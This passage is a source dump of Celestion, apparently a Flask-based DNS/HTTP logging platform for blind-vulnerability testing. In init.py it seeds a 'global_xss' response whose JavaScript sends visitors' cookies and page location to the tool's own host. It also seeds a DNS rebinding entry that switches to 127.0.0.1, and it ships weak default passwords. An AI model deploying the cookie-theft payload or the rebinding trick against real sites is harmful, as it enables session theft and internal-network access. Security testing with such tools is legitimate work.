├── .gitignore ├── README.md ├── celestion.py ├── init.py ├── lib ├── __init__.py ├── core │ ├── __init__.py │ ├── common.py │ ├── config.py │ ├── core.py │ ├── dnsserver.py │ ├── enums.py │ ├── env.py │ ├── g.py │ ├── log.py │ ├── model.py │ └── mysql.py ├── hander │ ├── __init__.py │ ├── apihander.py │ ├── basehander.py │ ├── indexhander.py │ └── manager │ │ ├── __init__.py │ │ ├── log │ │ ├── __init__.py │ │ ├── dnsloghander.py │ │ └── webloghander.py │ │ ├── setting │ │ ├── __init__.py │ │ ├── dnshander.py │ │ └── responsehander.py │ │ └── system │ │ ├── __init__.py │ │ ├── loghander.py │ │ └── userhander.py └── util │ ├── __init__.py │ ├── cipherutil.py │ ├── configutil.py │ └── util.py ├── requirements.txt ├── restart.sh ├── show ├── dns.png ├── http.png ├── show_dns.png └── show_http.png ├── static ├── css │ ├── bootstrap.min.css │ ├── bootstrap.min.css.map │ ├── buttons.bootstrap.min.css │ ├── custom.min.css │ ├── dataTables.bootstrap.min.css │ ├── font-awesome.min.css │ └── jquery.dataTables.min.css ├── fonts │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ ├── fontawesome-webfont.woff2 │ └── responsive.bootstrap.min.css ├── img │ ├── favicon.ico │ ├── img.jpg │ ├── sort_asc.png │ └── sort_both.png └── js │ ├── bootstrap.bundle.min.js │ ├── bootstrap.bundle.min.js.map │ ├── bootstrap.min.js │ ├── bootstrap.min.js.map │ ├── buttons.bootstrap.min.js │ ├── custom.min.js │ ├── dataTables.bootstrap.min.js │ ├── dataTables.buttons.min.js │ ├── jquery.dataTables.min.js │ ├── jquery.min.js │ ├── popper.js │ ├── popper.min.js │ └── popper.min.js.map └── template ├── layout.html ├── login.html └── manager ├── dashboard.html ├── log ├── dnslog.html └── weblog.html ├── profile.html ├── reset.html ├── setting ├── dns.html └── response.html └── system ├── log.html └── user.html /.gitignore: -------------------------------------------------------------------------------- 1 | # project 2 | .idea 3 | .git 4 | .DS_Store 5 | 6 | # python project 7 | *.pyc 8 | __pycache__ 9 | 10 | # hamster project 11 | venv/ 12 | log/ 13 | conf/ 14 | dev/ 15 | 16 | test.py -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 概述 2 | 3 | Celestion 是一个无回显漏洞测试辅助平台,平台使用flask编写,提供DNSLOG,HTTPLOG等功能。 (界面懒得弄,后续有需要再说)。 4 | 5 | [](https://www.python.org/) 6 | 7 | 1. 提供DNSLOG 8 | 2. 提供HTTPLOG(完整request数据包) 9 | 3. 自定义HTTP返回包(status_code, headers, body) 10 | 4. 自定义DNS解析(A记录) 11 | 5. DNS Rebinding 12 | 6. 支持钉钉机器人 13 | 7. 支持API查询 14 | 15 | 16 | # 安装 17 | 18 | 1. 申请A.com, B.com 2个域名,并配置NS、A记录,参考[BugScanTeam/DNSLog](https://github.com/BugScanTeam/DNSLog) 的域名配置部分#安装-3 19 | 20 | 2. 修改 `conf/celestion.conf`(第一次运行后生成),配置内容请看注释。 21 | 22 | 3. 运行初始化 23 | 24 | ``` 25 | python3.9 -m venv venv 26 | source venv/bin/activate 27 | pip install -r requirements.txt 28 | python init.py 29 | ``` 30 | 31 | 3. 运行 32 | 33 | ``` 34 | source venv/bin/activate 35 | python celestion.py 36 | ``` 37 | 38 | # 模块 39 | 40 | ## 展示 41 | 42 |  43 | 44 |  45 | 46 | ## 自定义DNS-A记录 47 | 48 |  49 | 50 | ## 自定义HTTP返回包 51 | 52 |  53 | 54 | ## API接口 55 | 56 | 接口格式: 57 | 58 | ```python 59 | import requests 60 | url = "http://{ADMIN_DOMAIN}/{PREFIX_URL}/{path}" 61 | headers = { 62 | "API-Key": "你的API-Key", 63 | "Content-Type": "application/json", 64 | } 65 | data = {} 66 | response = requests.request("POST", url, headers=headers, json=data) 67 | print(response.json()) 68 | ``` 69 | 70 | API-Key 在 `http://{ADMIN_DOMAIN}/{PREFIX_URL}/reset` 页面可以看到。 71 | PREFIX_URL 默认为 `celestion` 72 | 73 | 1. `/api/weblog/list` 74 | 75 | ```python 76 | data = { 77 | "page": 1, 78 | "per_page": 10, 79 | "ip": "", 80 | "url": "", 81 | } 82 | ``` 83 | 84 | 2. `/api/weblog/detail` 85 | 86 | ```python 87 | data = { 88 | "id": 1, 89 | } 90 | ``` 91 | 92 | 3. `/api/dnslog/list` 93 | 94 | ```python 95 | data = { 96 | "domain": "", 97 | "ip": "", 98 | } 99 | ``` 100 | 101 | # 参考 102 | 103 | 1. [BugScanTeam/DNSLog](https://github.com/BugScanTeam/DNSLog) 104 | -------------------------------------------------------------------------------- /celestion.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from argparse import ArgumentParser 7 | from lib.core.core import start 8 | 9 | def arg_set(parser): 10 | parser.add_argument('-l', "--listen_host", type=str, help='Web listen host') 11 | parser.add_argument('-p', "--listen_port", type=int, help='Web listen port') 12 | parser.add_argument('-dl', "--listen_dns_host", type=str, help='DNS listen host') 13 | parser.add_argument('-dp', "--listen_dns_port", type=int, help='DNS listen port') 14 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug model", default=False) 15 | parser.add_argument("--help", help="Show help", default=False, action='store_true') 16 | return parser 17 | 18 | if __name__ == '__main__': 19 | parser = ArgumentParser(add_help=False) 20 | parser = arg_set(parser) 21 | args = parser.parse_args() 22 | if args.help: 23 | parser.print_help() 24 | else: 25 | start(args) 26 | -------------------------------------------------------------------------------- /init.py: -------------------------------------------------------------------------------- 1 | # !/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import json 6 | from sqlalchemy.sql import text 7 | from sqlalchemy import create_engine 8 | from lib.core.g import conf 9 | from lib.core.g import mysql 10 | from lib.core.g import engine 11 | from lib.core.g import engine_session 12 | from lib.core.model import Base 13 | from lib.core.model import User 14 | from lib.core.model import ResponseSetting 15 | from lib.core.model import DNSSetting 16 | from lib.core.enums import UserRole 17 | from lib.core.enums import UserStatus 18 | from lib.core.enums import ValueType 19 | from lib.util.util import get_time 20 | from lib.util.util import random_string 21 | from werkzeug.security import generate_password_hash 22 | 23 | def create_table(): 24 | """ 25 | 创建数据库、表结构 26 | :return: 27 | """ 28 | # 创建数据库 29 | sqlalchemy_database_url_without_db = mysql.get_sqlalchemy_database_url_without_db() 30 | temp_engine = create_engine(sqlalchemy_database_url_without_db) 31 | with temp_engine.begin() as session: 32 | session.execute(text(f"CREATE DATABASE IF NOT EXISTS `{mysql.dbname}` CHARACTER SET {mysql.charset} COLLATE {mysql.collate};")) 33 | 34 | # 初始化表结构 35 | # Base.metadata.drop_all(engine) 36 | Base.metadata.create_all(engine) 37 | 38 | 39 | 40 | def init_user(): 41 | user_list = [ 42 | {"email": 'admin@celestion.com', "description": u"administrator", "username": "admin", 43 | "failed_time": None, "role": UserRole.ADMIN, 44 | "status": UserStatus.OK, "login_failed": 0, "created_time": get_time(), "login_time": None, 45 | "mark": u""}, 46 | ] 47 | with engine_session.begin() as session: 48 | for user in user_list: 49 | email = user['email'] 50 | username = user['username'] 51 | description = user['description'] 52 | password = generate_password_hash(conf.manager.default_password) 53 | status = user['status'] 54 | api_key = random_string(32) 55 | login_failed = user['login_failed'] 56 | created_time = user['created_time'] 57 | failed_time = user['failed_time'] 58 | login_time = user['login_time'] 59 | mark = user['mark'] 60 | role = user['role'] 61 | update_time = get_time() 62 | user = User(email=email, username=username, password=password, status=status, 63 | login_failed=login_failed, created_time=created_time, login_time=login_time, 64 | description=description, role=role, api_key=api_key, 65 | failed_time=failed_time, mark=mark, update_time=update_time) 66 | 67 | session.add(user) 68 | session.commit() 69 | 70 | def init_response_setting(): 71 | response_setting_list = [ 72 | {"name": 'global_xss', "path": "", "response_reason": "OK", "value_type": ValueType.MATCH, 73 | "response_status_code": 200, "response_headers": json.dumps({"ETag": 'W/"7-ZRvuH4DW9Kitwsjlj5Mh0bAOkR0"',"Server": "XXX"}), 74 | "response_content_type": "text/javascript;charset=UTF-8", "response_content": b"(new Image()).src = 'http://web." + bytes(conf.dnslog.dns_domain, 'utf-8') + b"/x?data='+document.cookie+'&location='+document.location;", "mark": f""}, 75 | {"name": 'xss_response', "path": "/x", "response_reason": "OK", "value_type": ValueType.MATCH, 76 | "response_status_code": 200, "response_headers": json.dumps({"ETag": 'W/"7-ZRvuH4DW9Kitwsjlj5Mh0bAOkR0"', "Server": "XXX"}), 77 | "response_content_type": None, "response_content": b"You are a good boy!", "mark": u""}, 78 | ] 79 | with engine_session.begin() as session: 80 | for response_setting in response_setting_list: 81 | name = response_setting['name'] 82 | path = response_setting['path'] 83 | response_reason = response_setting['response_reason'] 84 | response_status_code = response_setting['response_status_code'] 85 | response_headers = response_setting['response_headers'] 86 | response_content_type = response_setting['response_content_type'] 87 | response_content = response_setting['response_content'] 88 | mark = response_setting['mark'] 89 | value_type = response_setting['value_type'] 90 | update_time = get_time() 91 | response_setting = ResponseSetting(name=name, path=path, response_reason=response_reason, response_status_code=response_status_code, 92 | response_headers=response_headers, update_time=update_time, mark=mark, value_type=value_type, 93 | response_content_type=response_content_type,response_content=response_content) 94 | 95 | session.add(response_setting) 96 | session.commit() 97 | 98 | def init_dns_setting(): 99 | dns_setting_list = [ 100 | {"name": 'dnsredirect', "domain": f"dnsredirect.{conf.dnslog.dns_domain}", "value1": "93.184.216.34", "value2": "127.0.0.1", 101 | "dns_domain": conf.dnslog.dns_domain, "mark": f"DNS redirect test", "dns_redirect": True, "value_type": ValueType.MATCH}, 102 | {"name": 'localhost', "domain": f"localhost.{conf.dnslog.dns_domain}", "value1": "127.0.0.1", "value2": "", 103 | "dns_domain": conf.dnslog.dns_domain, "mark": f"DNS redirect test", "dns_redirect": False, "value_type": ValueType.MATCH}, 104 | ] 105 | with engine_session.begin() as session: 106 | for dns_setting in dns_setting_list: 107 | name = dns_setting['name'] 108 | domain = dns_setting['domain'] 109 | value1 = dns_setting['value1'] 110 | value2 = dns_setting['value2'] 111 | dns_redirect = dns_setting['dns_redirect'] 112 | dns_domain = dns_setting['dns_domain'] 113 | mark = dns_setting['mark'] 114 | value_type = dns_setting['value_type'] 115 | update_time = get_time() 116 | dns_setting = DNSSetting(name=name, domain=domain, value1=value1, dns_domain=dns_domain, dns_redirect=dns_redirect, 117 | value2=value2, update_time=update_time, mark=mark, value_type=value_type) 118 | session.add(dns_setting) 119 | session.commit() 120 | 121 | def run(): 122 | create_table() 123 | init_user() 124 | init_response_setting() 125 | init_dns_setting() 126 | 127 | 128 | if __name__ == '__main__': 129 | run() 130 | 131 | 132 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/core/common.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import json 6 | import requests 7 | from lib.core.g import conf 8 | from lib.util.util import get_safe_ex_string 9 | 10 | def seng_message(msg="", reminders=None): 11 | 12 | if reminders is None: 13 | reminders = [] 14 | 15 | url = conf.basic.dingding_robot_url 16 | timeout = conf.basic.timeout 17 | headers = {'Content-Type': 'application/json;charset=utf-8'} 18 | data = { 19 | "msgtype": "text", 20 | "at": { 21 | "atMobiles": reminders, 22 | "isAtAll": False, 23 | }, 24 | "text": { 25 | "content": msg, 26 | } 27 | } 28 | error = "" 29 | for i in range(0, 3): 30 | try: 31 | r = requests.post(url, data=json.dumps(data), headers=headers, timeout=timeout) 32 | if "\"errmsg\":\"description" in r.text: 33 | return False, r.text 34 | else: 35 | return True, r.text 36 | except Exception as e: 37 | error = get_safe_ex_string(e) 38 | return False, error 39 | 40 | -------------------------------------------------------------------------------- /lib/core/config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from lib.util.util import random_string 7 | from lib.util.configutil import parser_conf 8 | 9 | def basic_config(): 10 | """初始化配置文件""" 11 | 12 | configs = { 13 | ("basic", f"This is a basic config for {PROJECT_NAME}"): { 14 | ("timeout", "Connection timeout"): 5, 15 | ("heartbeat_time", ""): 60, 16 | ("secret_key", "Secret key"): random_string(64), 17 | ("dingding_robot_url", "dingding robot url"): "https://oapi.dingtalk.com/robot/send?access_token=xxxxxxxxxxx", 18 | }, 19 | ("mysql", f"This is a mysql config for {PROJECT_NAME}"): { 20 | ("host", ""): "127.0.0.1", 21 | ("port", ""): 3306, 22 | ("username", ""): "root", 23 | ("password", ""): "123456", 24 | ("dbname", ""): PROJECT_NAME.lower(), 25 | ("charset", ""): "utf8mb4", 26 | ("collate", ""): "utf8mb4_general_ci", 27 | }, 28 | ("manager", f"This is a manager config for {PROJECT_NAME}"): { 29 | ("listen_host", ""): "0.0.0.0", 30 | ("listen_port", ""): "8000", 31 | ("default_mail_siffix", ""): f"@{PROJECT_NAME.lower()}.com", 32 | ("default_password", ""): f"{PROJECT_NAME}@123", 33 | }, 34 | ("dnslog", f"This is a dnslog config for {PROJECT_NAME}"): { 35 | ("listen_host", ""): "0.0.0.0", 36 | ("listen_port", ""): "53", 37 | ("ns1_domain", "A.com的域名的NS记录"): 'ns1.A.com', 38 | ("ns2_domain", "A.com的域名的NS记录"): 'ns2.A.com', 39 | ("dns_domain", "B.com,主要做DNS记录"): 'B.com', 40 | ("default_server_ip", "B.com 的默认解析地址"): '127.0.0.1', 41 | ("admin_domain", "admin管理的域名"): 'admin.B.com', 42 | ("admin_server_ip", "admin域名解析地址"): '127.0.0.1', 43 | }, 44 | } 45 | 46 | return configs 47 | 48 | def config_parser(): 49 | """解析配置文件,如不存在则创建""" 50 | 51 | config_file_list = [(BASIC_CONFIG_FILE_PATH, basic_config())] 52 | 53 | return parser_conf(config_file_list) -------------------------------------------------------------------------------- /lib/core/core.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | import multiprocessing 7 | from lib.core.enums import CustomLogging 8 | from lib.hander import app 9 | from lib.core.g import conf 10 | from lib.core.g import cache_log 11 | from lib.core.g import log 12 | from werkzeug.middleware.proxy_fix import ProxyFix 13 | from lib.core.dnsserver import dns_server 14 | 15 | 16 | def handle_options(args): 17 | """参数解析与配置""" 18 | 19 | if hasattr(args, "listen_host") and args.listen_host: 20 | conf.manager.listen_host = args.listen_host 21 | 22 | if hasattr(args, "listen_port") and args.listen_port: 23 | conf.manager.listen_port = args.listen_port 24 | 25 | if hasattr(args, "listen_dns_host") and args.listen_dns_host: 26 | conf.dnslog.listen_host = args.listen_dns_host 27 | 28 | if hasattr(args, "listen_dns_port") and args.listen_dns_port: 29 | conf.dnslog.listen_port = args.listen_dns_port 30 | 31 | # debug 模式 32 | conf.basic.debug = args.debug 33 | 34 | if conf.basic.debug: 35 | log_level = CustomLogging.DEBUG 36 | log.set_level(log_level) 37 | cache_log.set_level(log_level) 38 | log.debug(f"Setting {PROJECT_NAME} debug mode...") 39 | 40 | 41 | def start(args): 42 | handle_options(args) 43 | try: 44 | p = multiprocessing.Process(target=start_dns_server) 45 | p.daemon = True 46 | p.start() 47 | app.wsgi_app = ProxyFix(app.wsgi_app) 48 | app.run(host=conf.manager.listen_host, port=conf.manager.listen_port) 49 | except KeyboardInterrupt: 50 | exit(0) 51 | 52 | def start_dns_server(address=conf.dnslog.listen_host, port=conf.dnslog.listen_port): 53 | dns_server(address, port) 54 | -------------------------------------------------------------------------------- /lib/core/dnsserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import re 6 | import time 7 | import threading 8 | from queue import Queue 9 | from dnslib import RR 10 | from dnslib import QTYPE 11 | from dnslib import RCODE 12 | from dnslib import TXT 13 | from dnslib import A 14 | from dnslib.server import DNSServer 15 | from dnslib.server import BaseResolver 16 | from sqlalchemy import and_ 17 | from lib.core.g import log 18 | from lib.core.g import conf 19 | from lib.core.g import cache_log 20 | from lib.core.enums import ValueType 21 | from lib.core.model import DNSLog 22 | from lib.core.model import DNSSetting 23 | from lib.hander import db 24 | from lib.hander.basehander import save_sql 25 | from lib.util.util import get_time 26 | from lib.core.common import seng_message 27 | from lib.util.util import get_timestamp 28 | 29 | class DNSServerLogger: 30 | 31 | def __init__(self, msg_queue): 32 | self.msg_queue = msg_queue 33 | self.dns_domain = conf.dnslog.dns_domain 34 | self.admin_domain = conf.dnslog.admin_domain 35 | 36 | def log_data(self, dnsobj): 37 | pass 38 | 39 | def log_error(self, handler, e): 40 | pass 41 | 42 | def log_pass(self, *args): 43 | pass 44 | 45 | def log_prefix(self, handler): 46 | pass 47 | 48 | def log_recv(self, handler, data): 49 | pass 50 | 51 | def log_reply(self, handler, reply): 52 | domain = reply.q.qname.__str__().lower()[:-1] 53 | ip = handler.client_address[0] 54 | update_time = get_time() 55 | dns_type = QTYPE[reply.q.qtype] 56 | if domain.endswith(self.dns_domain) and domain not in [self.admin_domain]: 57 | dnslog = DNSLog(ip=ip, dns_domain=self.dns_domain, domain=domain, type=dns_type, update_time=update_time) 58 | save_sql(dnslog) 59 | msg = f'Receice dns request, domain: {domain}, ip: {ip}, type: {dns_type}, time: {update_time}' 60 | cache_log.info(msg) 61 | 62 | msg = f'DNSLOG 上线\ndomain: {domain}\nip: {ip}\ntype: {dns_type}\ntime: {update_time}' 63 | self.msg_queue.put(msg) 64 | 65 | def log_request(self, handler, request): 66 | pass 67 | 68 | def log_send(self, handler, data): 69 | pass 70 | 71 | def log_truncated(self, handler, reply): 72 | pass 73 | 74 | 75 | class DNSServerResolver(BaseResolver): 76 | """ 77 | Simple fixed zone file resolver. 78 | """ 79 | 80 | def __init__(self): 81 | """ 82 | Initialise resolver from zone file. 83 | Stores RRs as a list of (label,type,rr) tuples 84 | If 'glob' is True use glob match against zone file 85 | """ 86 | 87 | self.ns1_domain = conf.dnslog.ns1_domain 88 | self.ns2_domain = conf.dnslog.ns2_domain 89 | self.server_ip = conf.dnslog.default_server_ip 90 | self.dns_domain = conf.dnslog.dns_domain 91 | self.admin_domain = conf.dnslog.admin_domain 92 | self.admin_server_ip = conf.dnslog.admin_server_ip 93 | zone = f''' 94 | *.{self.dns_domain}. IN NS {self.ns1_domain}. 95 | *.{self.dns_domain}. IN NS {self.ns2_domain}. 96 | *.{self.dns_domain}. IN A {self.server_ip} 97 | {self.dns_domain}. IN A {self.server_ip} 98 | ''' 99 | self.zone = [(rr.rname, QTYPE[rr.rtype], rr) for rr in RR.fromZone(zone)] 100 | self.eq = 'matchGlob' 101 | 102 | def resolve(self, request, handler): 103 | """ 104 | Respond to DNS request - parameters are request packet & handler. 105 | Method is expected to return DNS response 106 | """ 107 | reply = request.reply() 108 | try: 109 | qname = request.q.qname 110 | qtype = QTYPE[request.q.qtype] 111 | domain = str(qname).rstrip('.') 112 | ip = handler.client_address[0] 113 | if qtype == 'TXT': 114 | reply.add_answer(RR(qname, QTYPE.TXT, ttl=0, rdata=TXT(""))) 115 | 116 | for name, rtype, rr in self.zone: 117 | if getattr(qname, self.eq)(name) and (qtype == rtype or qtype == 'ANY' or rtype == 'CNAME'): 118 | 119 | dns_setting = None 120 | dns_setting_list = db.session.query(DNSSetting).filter( 121 | and_(DNSSetting.type == 'A', DNSSetting.value_type == ValueType.REGEX)).order_by( 122 | DNSSetting.update_time.desc()).all() 123 | for _dns_setting in dns_setting_list: 124 | re_result = re.match(_dns_setting.domain, domain) 125 | if re_result: 126 | dns_setting = _dns_setting 127 | break 128 | 129 | if dns_setting is None: 130 | dns_setting = db.session.query(DNSSetting).filter( 131 | and_(DNSSetting.domain == domain, DNSSetting.type == 'A', 132 | DNSSetting.value_type == ValueType.MATCH)).order_by( 133 | DNSSetting.update_time.desc()).first() 134 | 135 | if dns_setting: 136 | # DNS 重定向 137 | if dns_setting.dns_redirect: 138 | dns_log = db.session.query(DNSLog).filter(and_(DNSLog.domain == domain, DNSLog.ip == ip, 139 | DNSLog.update_time > get_time( 140 | get_timestamp() - 60))).first() 141 | 142 | if dns_log: 143 | answer = RR(qname, QTYPE.A, ttl=0, rdata=A(dns_setting.value2)) 144 | else: 145 | answer = RR(qname, QTYPE.A, ttl=0, rdata=A(dns_setting.value1)) 146 | else: 147 | answer = RR(qname, QTYPE.A, ttl=0, rdata=A(dns_setting.value1)) 148 | else: 149 | answer = RR(qname, QTYPE.A, ttl=0, rdata=A(self.server_ip)) 150 | reply.add_answer(answer) 151 | 152 | if rtype in ['CNAME', 'NS', 'MX', 'PTR']: 153 | for a_name, a_rtype, a_rr in self.zone: 154 | if a_name == rr.rdata.label and a_rtype in ['A', 'AAAA']: 155 | reply.add_ar(a_rr) 156 | except Exception as e: 157 | pass 158 | finally: 159 | if not reply.rr: 160 | reply.header.rcode = RCODE.NXDOMAIN 161 | 162 | return reply 163 | 164 | def dns_server(address='0.0.0.0', port=53): 165 | msg_queue = Queue() 166 | 167 | t = threading.Thread(target=msg_center, args=(msg_queue,)) 168 | t.start() 169 | 170 | resolver = DNSServerResolver() 171 | log.info(f"Starting Zone Resolver ({address}:{port}) [UDP]") 172 | udp_server = DNSServer(resolver, port=port, address=address, logger=DNSServerLogger(msg_queue)) 173 | udp_server.start() 174 | 175 | def msg_center(msg_queue): 176 | while True: 177 | if msg_queue.qsize() > 0: 178 | msg = msg_queue.get() 179 | flag, err = seng_message(msg) 180 | msg = msg.replace('\n', ', ').replace('\r', ', ') 181 | if flag: 182 | log.success(f'Send message to IM, msg: {msg}') 183 | else: 184 | log.error(f'Send message to IM error, msg: {msg}, error: {err}') 185 | time.sleep(0.1) 186 | 187 | if __name__ == '__main__': 188 | dns_server() 189 | 190 | 191 | -------------------------------------------------------------------------------- /lib/core/enums.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | class LogStatus: 6 | """ 7 | 日志状态 8 | """ 9 | OK = 'OK' 10 | DELETE = 'Delete' 11 | 12 | class UserStatus: 13 | """ 14 | 用户状态 15 | """ 16 | OK = 'OK' 17 | BAN = 'Ban' 18 | 19 | class UserRole: 20 | ADMIN = 'Admin' 21 | USER = 'User' 22 | GUEST = 'Guest' 23 | 24 | class CustomLogging: 25 | SUCCESS = 9 26 | ERROR = 8 27 | WARNING = 7 28 | INFO = 6 29 | DEBUG = 5 30 | CRITICAL = 10 31 | 32 | 33 | class WebLogType: 34 | LOGIN = 'Login' 35 | API = 'API' 36 | SSO = 'SSO' 37 | OTHER = 'Other' 38 | 39 | class ValueType: 40 | MATCH = 'MATCH' 41 | REGEX = 'REGEX' 42 | 43 | class DNSRedirect: 44 | TRUE = True 45 | FALSE = False 46 | 47 | class ApiStatus: 48 | """后端API接口返回码""" 49 | INIT = {'status': 0, 'msg': '', 'data': {'res': []}} 50 | SUCCESS = {'status': 10000, 'msg': 'Success!', 'data': {'res': []}} 51 | ERROR = {'status': 20000, 'msg': 'System error!', 'data': {'res': []}} 52 | ERROR_INVALID_INPUT = {'status': 20001, 'msg': 'Invalid input!', 'data': {'res': []}} 53 | ERROR_INVALID_INPUT_ADDON_NAME = {'status': 20001, 'msg': 'Invalid addon name!', 'data': {'res': []}} 54 | ERROR_INVALID_INPUT_EMAIL = {'status': 20001, 'msg': 'Invalid email!', 'data': {'res': []}} 55 | ERROR_INVALID_INPUT_USERNAME = {'status': 20001, 'msg': 'Invalid username!', 'data': {'res': []}} 56 | ERROR_INVALID_INPUT_FILE = {'status': 20001, 'msg': 'Invalid file!', 'data': {'res': []}} 57 | ERROR_INVALID_INPUT_PASSWORD = {'status': 20001, 'msg': 'Invalid password!', 'data': {'res': []}} 58 | ERROR_INVALID_INPUT_MOBILE = {'status': 20001, 'msg': 'Invalid mobile!', 'data': {'res': []}} 59 | ERROR_INVALID_TOKEN = {'status': 20002, 'msg': 'Invalid token!', 'data': {'res': []}} 60 | 61 | ERROR_IS_NOT_EXIST = {'status': 30001, 'msg': 'Data is not exist!', 'data': {'res': []}} 62 | ERROR_PRIMARY = {'status': 30002, 'msg': 'Data existed!', 'data': {'res': []}} 63 | ERROR_LOGIN = {'status': 30003, 'msg': 'Incorrect username or password!', 'data': {'res': []}} # 登陆失败 64 | ERROR_ACCOUNT = {'status': 30004, 'msg': 'Abnormal account!', 'data': {'res': []}} # 账户异常 65 | ERROR_INVALID_API_KEY = {'status': 30005, 'msg': 'Invalid api-key!', 'data': {'res': []}} 66 | ERROR_ACCESS = {'status': 30006, 'msg': 'Invalid access!', 'data': {'res': []}} # 非法访问 67 | 68 | ERROR_400 = {'status': 40000, 'msg': 'Bad Request!', 'data': {'res': []}} 69 | ERROR_ILLEGAL_PROTOCOL = {'status': 40001, 'msg': 'Illegal protocol!', 'data': {'res': []}} # 解析失败 70 | ERROR_MISSING_PARAMETER = {'status': 40002, 'msg': 'Missing parameter!', 'data': {'res': []}} # 缺乏参数 71 | ERROR_404 = {'status': 40004, 'msg': 'Not Found!', 'data': {'res': []}} 72 | ERROR_500 = {'status': 40005, 'msg': '500 Error!', 'data': {'res': []}} 73 | 74 | UNKNOWN = {'status': 99999, 'msg': 'Unknown error! Please contact the administrator!', 'data': {'res': []}} 75 | 76 | -------------------------------------------------------------------------------- /lib/core/env.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import os 6 | import sys 7 | from datetime import timedelta 8 | from lib.util.configutil import parser_conf 9 | 10 | # 不生成pyc 11 | sys.dont_write_bytecode = True 12 | 13 | # 最低python运行版本 14 | REQUIRE_PY_VERSION = (3, 9) 15 | 16 | # 检测当前运行版本 17 | RUN_PY_VERSION = sys.version_info 18 | if RUN_PY_VERSION < REQUIRE_PY_VERSION: 19 | exit(f"[-] Incompatible Python version detected ('{RUN_PY_VERSION}). For successfully running program you'll have to use version {REQUIRE_PY_VERSION} (visit 'http://www.python.org/download/')") 20 | 21 | # 项目名称 22 | PROJECT_NAME = "Celestion" 23 | 24 | # 当前扫描器版本 25 | VERSION = "1.0" 26 | 27 | # 版本描述 28 | # VERSION_STRING = f"{PROJECT_NAME}/{VERSION}" 29 | VERSION_STRING = "X" 30 | 31 | # 当前运行入口文件 32 | MAIN_NAME = os.path.split(os.path.splitext(sys.argv[0])[0])[-1] 33 | 34 | # 当前运行路径 35 | ROOT_PATH = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) 36 | 37 | # 日志路径 38 | LOG = 'log' 39 | LOG_PATH = os.path.join(ROOT_PATH, LOG) 40 | 41 | # 配置路径 42 | CONFIG = 'conf' 43 | ENV_CONFIG_PATH = os.path.join(ROOT_PATH, CONFIG) 44 | 45 | ENV_CONFIG_FILE_PATH = os.path.join(ENV_CONFIG_PATH, f"{PROJECT_NAME.lower()}_env.conf") 46 | config_file_list = [(ENV_CONFIG_FILE_PATH, {("env", f"This is a env config for {PROJECT_NAME}"): {("env", "Run env"): "dev"}})] 47 | env_conf = parser_conf(config_file_list) 48 | ENV = env_conf.env.env.lower() 49 | 50 | # 配置文件路径 51 | CONFIG_PATH = os.path.join(ENV_CONFIG_PATH, ENV) 52 | BASIC_CONFIG_FILE_PATH = os.path.join(CONFIG_PATH, f"{PROJECT_NAME.lower()}_basic.conf") 53 | 54 | # 模版文件路径 55 | TEMPLATE = 'template' 56 | TEMPLATE_PATH = os.path.join(ROOT_PATH, TEMPLATE) 57 | 58 | # 静态文件路径 59 | STATIC = 'static' 60 | STATIC_PATH = os.path.join(ROOT_PATH, STATIC) 61 | 62 | # WEB 调试模式 63 | WEB_DEBUG = False 64 | 65 | # 静态文件缓存 66 | SEND_FILE_MAX_AGE_DEFAULT = timedelta(hours=1) 67 | 68 | # Web 路径前缀 69 | PREFIX_URL = "/" + PROJECT_NAME.lower() -------------------------------------------------------------------------------- /lib/core/g.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.config import config_parser 6 | from lib.core.log import Logger 7 | from sqlalchemy.orm import sessionmaker 8 | from sqlalchemy import create_engine 9 | from lib.core.mysql import Mysql 10 | 11 | conf = config_parser() 12 | 13 | cache_log = Logger(name='cache', use_console=False) 14 | 15 | server_log = Logger(name='server', use_console=True) 16 | 17 | access_log = Logger(name='access', use_console=False) 18 | 19 | log = server_log 20 | 21 | mysql = Mysql( 22 | host=conf.mysql.host, 23 | port=conf.mysql.port, 24 | username=conf.mysql.username, 25 | password=conf.mysql.password, 26 | dbname=conf.mysql.dbname, 27 | charset=conf.mysql.charset, 28 | collate=conf.mysql.collate, 29 | ) 30 | 31 | sqlalchemy_database_url = mysql.get_sqlalchemy_database_url() 32 | engine = create_engine(sqlalchemy_database_url) 33 | engine_session = sessionmaker(engine) 34 | -------------------------------------------------------------------------------- /lib/core/log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import re 6 | import logging 7 | from logging.handlers import TimedRotatingFileHandler 8 | from lib.core.env import * 9 | from lib.core.enums import CustomLogging 10 | 11 | 12 | class Logger: 13 | """ 14 | 日志模块, 记录日志。 15 | """ 16 | 17 | def __init__(self, name=MAIN_NAME, level=CustomLogging.INFO, 